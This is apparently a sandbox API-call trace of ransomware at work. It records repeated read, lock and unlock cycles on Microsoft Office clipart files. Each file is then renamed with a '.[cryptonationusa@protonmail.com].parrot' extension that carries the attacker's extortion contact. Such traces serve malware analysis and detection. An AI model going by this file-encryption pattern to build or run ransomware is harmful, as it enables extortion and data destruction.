ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xe20, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xe20, lpOverlapped=0x0) returned 1 [0142.702] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.703] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xf38, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0142.703] CloseHandle (hObject=0x27c) returned 1 [0142.703] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304371.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304371.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304371.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304371.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0142.706] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1156, nNumberOfBytesToLockHigh=0x0) returned 1 [0142.706] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0142.706] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0142.707] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.707] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x103e, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x103e, lpOverlapped=0x0) returned 1 [0142.708] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.708] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1156, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0142.708] CloseHandle (hObject=0x27c) returned 1 [0142.709] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304405.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304405.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304405.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304405.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0142.712] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4b26, nNumberOfBytesToLockHigh=0x0) returned 1 [0142.712] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0142.712] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0142.756] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.757] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4a0e, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x4a0e, lpOverlapped=0x0) returned 1 [0142.758] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.758] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4b26, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0142.758] CloseHandle (hObject=0x27c) returned 1 [0142.758] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304853.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304853.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304853.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304853.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0142.763] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2e10, nNumberOfBytesToLockHigh=0x0) returned 1 [0142.763] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0142.763] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0142.765] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.766] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2cf8, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2cf8, lpOverlapped=0x0) returned 1 [0142.767] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.767] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2e10, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0142.767] CloseHandle (hObject=0x27c) returned 1 [0142.767] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304861.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304861.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304861.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304861.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0142.772] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x50a6, nNumberOfBytesToLockHigh=0x0) returned 1 [0142.772] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0142.772] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0142.774] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.774] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4f8e, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x4f8e, lpOverlapped=0x0) returned 1 [0142.775] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.776] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x50a6, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0142.776] CloseHandle (hObject=0x27c) returned 1 [0142.776] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304875.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304875.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304875.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304875.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0142.779] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2adc, nNumberOfBytesToLockHigh=0x0) returned 1 [0142.779] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0142.779] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0142.781] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.781] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x29c4, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x29c4, lpOverlapped=0x0) returned 1 [0142.782] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.782] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2adc, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0142.782] CloseHandle (hObject=0x27c) returned 1 [0142.782] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309480.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309480.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309480.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309480.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0142.786] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x5564, nNumberOfBytesToLockHigh=0x0) returned 1 [0142.786] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0142.786] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0142.787] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.788] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x544c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x544c, lpOverlapped=0x0) returned 1 [0142.788] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.789] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x5564, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0142.789] CloseHandle (hObject=0x27c) returned 1 [0142.789] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309567.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309567.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309567.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309567.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0142.792] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x9ba3, nNumberOfBytesToLockHigh=0x0) returned 1 [0142.792] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0142.792] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0142.793] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.794] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x9a8b, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x9a8b, lpOverlapped=0x0) returned 1 [0142.796] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.796] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x9ba3, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0142.796] CloseHandle (hObject=0x27c) returned 1 [0142.796] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309585.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309585.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309585.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309585.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0142.799] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x8308, nNumberOfBytesToLockHigh=0x0) returned 1 [0142.799] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0142.799] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0142.801] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.801] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x81f0, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x81f0, lpOverlapped=0x0) returned 1 [0142.805] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.805] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x8308, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0142.805] CloseHandle (hObject=0x27c) returned 1 [0142.806] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309598.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309598.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309598.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309598.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0142.809] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0xabd3, nNumberOfBytesToLockHigh=0x0) returned 1 [0142.809] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0142.809] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0142.810] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.811] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0xaabb, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0xaabb, lpOverlapped=0x0) returned 1 [0142.814] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.815] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0xabd3, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0142.815] CloseHandle (hObject=0x27c) returned 1 [0142.815] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309664.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309664.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309664.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309664.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0142.818] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x4bf2, nNumberOfBytesToLockHigh=0x0) returned 1 [0142.818] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0142.818] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0142.830] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.830] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x4ada, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x4ada, lpOverlapped=0x0) returned 1 [0142.832] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.833] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x4bf2, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0142.833] CloseHandle (hObject=0x27c) returned 1 [0142.833] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309705.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309705.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309705.JPG.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309705.jpg.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0142.837] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1b18, nNumberOfBytesToLockHigh=0x0) returned 1 [0142.837] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0142.837] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0142.840] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.840] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1a00, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1a00, lpOverlapped=0x0) returned 1 [0142.841] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.841] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x1b18, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0142.842] CloseHandle (hObject=0x27c) returned 1 [0142.842] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309902.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309902.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309902.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309902.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0142.845] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x21fc, nNumberOfBytesToLockHigh=0x0) returned 1 [0142.845] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0142.845] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0142.846] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.847] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x20e4, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x20e4, lpOverlapped=0x0) returned 1 [0142.847] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.848] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x21fc, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0142.848] CloseHandle (hObject=0x27c) returned 1 [0142.848] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309904.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309904.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309904.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309904.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0142.852] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x2c50, nNumberOfBytesToLockHigh=0x0) returned 1 [0142.852] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0142.852] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0142.853] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.853] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x2b38, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x2b38, lpOverlapped=0x0) returned 1 [0142.854] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.854] UnlockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x2c50, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0142.854] CloseHandle (hObject=0x27c) returned 1 [0142.855] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309920.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309920.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0309920.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0309920.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0142.858] LockFile (hFile=0x27c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x9232, nNumberOfBytesToLockHigh=0x0) returned 1 [0142.858] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0142.858] ReadFile (in: hFile=0x27c, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0142.860] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0142.860] ReadFile (in: hFile=0x27c, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x911a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x911a, lpOverlapped=0x0) returned 1 [0142.862] SetFilePointerEx (in: hFile=0x27c, liDistanceToMove=0x0, 